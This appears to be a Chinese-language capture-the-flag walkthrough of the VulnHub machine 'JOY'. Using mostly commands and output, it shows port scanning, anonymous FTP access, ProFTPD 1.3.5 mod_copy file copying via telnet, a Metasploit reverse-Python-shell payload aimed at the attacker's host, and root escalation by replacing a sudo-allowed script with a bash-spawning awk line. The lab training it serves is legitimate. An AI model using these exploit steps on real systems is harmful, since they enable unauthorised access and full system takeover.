digitalworld.local JOY
https://download.vulnhub.com/digitalworld/JOY.7z
靶场IP：192.168.32.201
扫描对外端口
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.201
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 01:35 EDT
Nmap scan report for 192.168.32.201
Host is up (0.00067s latency).
Not shown: 65523 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.2.10
22/tcp open ssh Dropbear sshd 0.34 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25 ((Debian))
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
465/tcp open smtp Postfix smtpd
587/tcp open smtp Postfix smtpd
993/tcp open ssl/imaps?
995/tcp open ssl/pop3s?
MAC Address: 00:0C:29:7A:57:E5 (VMware)
Service Info: Hosts: The, JOY.localdomain, JOY; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.43 seconds
ftp匿名访问登录
挂载FTP目录
┌──(root💀kali)-[/tmp]
└─# curlftpfs 192.168.32.201 /tmp/ftp -ouser=anonymous 1 ⨯
Enter host password for user 'anonymous':
┌──(root💀kali)-[/tmp]
└─# ls /tmp/ftp
download upload
查看directory文件
┌──(root💀kali)-[/tmp/ftp/upload]
└─# cat directory
Patrick's Directory
total 120
drwxr-xr-x 18 patrick patrick 4096 Sep 5 13:50 .
drwxr-xr-x 4 root root 4096 Jan 6 2019 ..
-rw------- 1 patrick patrick 185 Jan 28 2019 .bash_history
-rw-r--r-- 1 patrick patrick 220 Dec 23 2018 .bash_logout
-rw-r--r-- 1 patrick patrick 3526 Dec 23 2018 .bashrc
drwx------ 7 patrick patrick 4096 Jan 10 2019 .cache
drwx------ 10 patrick patrick 4096 Dec 26 2018 .config
drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Desktop
drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Documents
drwxr-xr-x 3 patrick patrick 4096 Jan 6 2019 Downloads
-rw-r--r-- 1 patrick patrick 0 Sep 5 13:45 EzczfCzOZF7yUwnNToRmUTN9HZNTMGuC.txt
drwx------ 3 patrick patrick 4096 Dec 26 2018 .gnupg
-rwxrwxrwx 1 patrick patrick 0 Jan 9 2019 haha
-rw-r--r-- 1 patrick patrick 24 Sep 5 13:40 hx4W3WGQZRcoMIQJO6ED5ckNNixeFnqQtcE6DivgoBdb4NouHZXXzreS4CtHgzVH.txt
-rw-r--r-- 1 patrick patrick 0 Sep 5 13:35 i27zVrI0kA6yaHsS307x3sZJ6dRerZdc.txt
-rw------- 1 patrick patrick 8532 Jan 28 2019 .ICEauthority
-rw-r--r-- 1 patrick patrick 0 Sep 5 13:50 LMASecZUcFAnBQdOioq1EMxcNKdWQIuk.txt
drwxr-xr-x 3 patrick patrick 4096 Dec 26 2018 .local
drwx------ 5 patrick patrick 4096 Dec 28 2018 .mozilla
drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Music
-rw-r--r-- 1 patrick patrick 24 Sep 5 13:45 n3lvgrpKnzVIxNHPNaD519F1C0tNLAJj8JCJZ9D99HCTfUx8VH1bySAWcifgksUK.txt
drwxr-xr-x 2 patrick patrick 4096 Jan 8 2019 .nano
-rw-r--r-- 1 patrick patrick 24 Sep 5 13:35 NEHN0fadD1jggs7puHXo7lsFbknWOYxHKHfj7mP2FTd9bKPiieIu9c4hoYGOC0xu.txt
drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Pictures
-rw-r--r-- 1 patrick patrick 24 Sep 5 13:50 PPk4GvIwAZmkJN1w2kktymJ86REyIdeMkUpGVnXUeTmZjco2P0JxMKUkMW4gySjN.txt
-rw-r--r-- 1 patrick patrick 675 Dec 23 2018 .profile
drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Public
-rw-r--r-- 1 patrick patrick 0 Sep 5 13:40 S2UQsLBUd5AiaERWaGtonnWIwuvMi346.txt
d--------- 2 root root 4096 Jan 9 2019 script
drwx------ 2 patrick patrick 4096 Dec 26 2018 .ssh
-rw-r--r-- 1 patrick patrick 0 Jan 6 2019 Sun
drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Templates
-rw-r--r-- 1 patrick patrick 0 Jan 6 2019 .txt
-rw-r--r-- 1 patrick patrick 407 Jan 27 2019 version_control
drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Videos
You should know where the directory can be accessed.
Information of this Machine!
Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
telnet越权访问目录
┌──(root💀kali)-[/tmp/ftp/upload]
└─# telnet 192.168.32.201 21
Trying 192.168.32.201...
Connected to 192.168.32.201.
Escape character is '^]'.
220 The Good Tech Inc. FTP Server
site cpfr /home/patrick/version_control
350 File or directory exists, ready for destination name
site cpto /home/ftp/upload/version_control
250 Copy successful找到FTP版本为：1.3.5
┌──(root💀kali)-[/tmp/ftp/upload]
└─# ls 1 ⨯
directory project_bravado project_emilio project_indigo project_luyano project_okacho project_ronaldinho project_toto project_vivino project_yolo reminder
project_armadillo project_desperado project_flamingo project_komodo project_malindo project_polento project_sicko project_uno project_woranto project_zoo version_control
┌──(root💀kali)-[/tmp/ftp/upload]
└─# cat version_control
Version Control of External-Facing Services:
Apache: 2.4.25
Dropbear SSH: 0.34
ProFTPd: 1.3.5
Samba: 4.5.12
We should switch to OpenSSH and upgrade ProFTPd.
Note that we have some other configurations in this machine.
1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy.
2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out.
查找FTP漏洞
msf6 > search proftpd 1.3.5
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec
配置payload
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/tryingharderisjoy
SITEPATH => /var/www/tryingharderisjoy
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.32.201
RHOSTS => 192.168.32.201
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set lhost 192.168.32.130
lhost => 192.168.32.130
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
找到用户和密码
www-data@JOY:/var/www/tryingharderisjoy$ cd ossec
cd ossec
www-data@JOY:/var/www/tryingharderisjoy/ossec$ ls
ls
CONTRIB README.search img lib setup.sh
LICENSE css index.php ossec_conf.php site
README htaccess_def.txt js patricksecretsofjoy tmp
www-data@JOY:/var/www/tryingharderisjoy/ossec$ cat patricksecretsofjoy
cat patricksecretsofjoy
credentials for JOY:
patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis
how would these hack3rs ever find such a page?
切换到patrick用户和查看sudo列表
www-data@JOY:/var/www/tryingharderisjoy/ossec$ su patrick
su patrick
Password: apollo098765
patrick@JOY:/var/www/tryingharderisjoy/ossec$ sudo -l
sudo -l
Matching Defaults entries for patrick on JOY:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User patrick may run the following commands on JOY:
(ALL) NOPASSWD: /home/patrick/script/test
patrick@JOY:/var/www/tryingharderisjoy/ossec$
因此我们决定将 /test 脚本替换为其他恶意脚本，但 /script 目录没有可写权限。
因此，我们再次决定使用 FTP 匿名登录来将真正的 /test 文件替换为伪造的 /test 文件，这将成为提供更高权限 shell 的后门。
┌──(root💀kali)-[/tmp/ftp/upload]
└─# echo "awk 'BEGIN {system(\"/bin/bash\")}'" > test 1 ⨯
┌──(root💀kali)-[/tmp/ftp/upload]
└─# cat test
awk 'BEGIN {system("/bin/bash")}'┌──(root💀kali)-[/tmp/ftp/upload]
└─# telnet 192.168.32.201 21 1 ⨯
Trying 192.168.32.201...
Connected to 192.168.32.201.
Escape character is '^]'.
220 The Good Tech Inc. FTP Server
site cpfr /home/ftp/upload/test
350 File or directory exists, ready for destination name
site cpto /home/patrick/script/test
250 Copy successful
提权成功。
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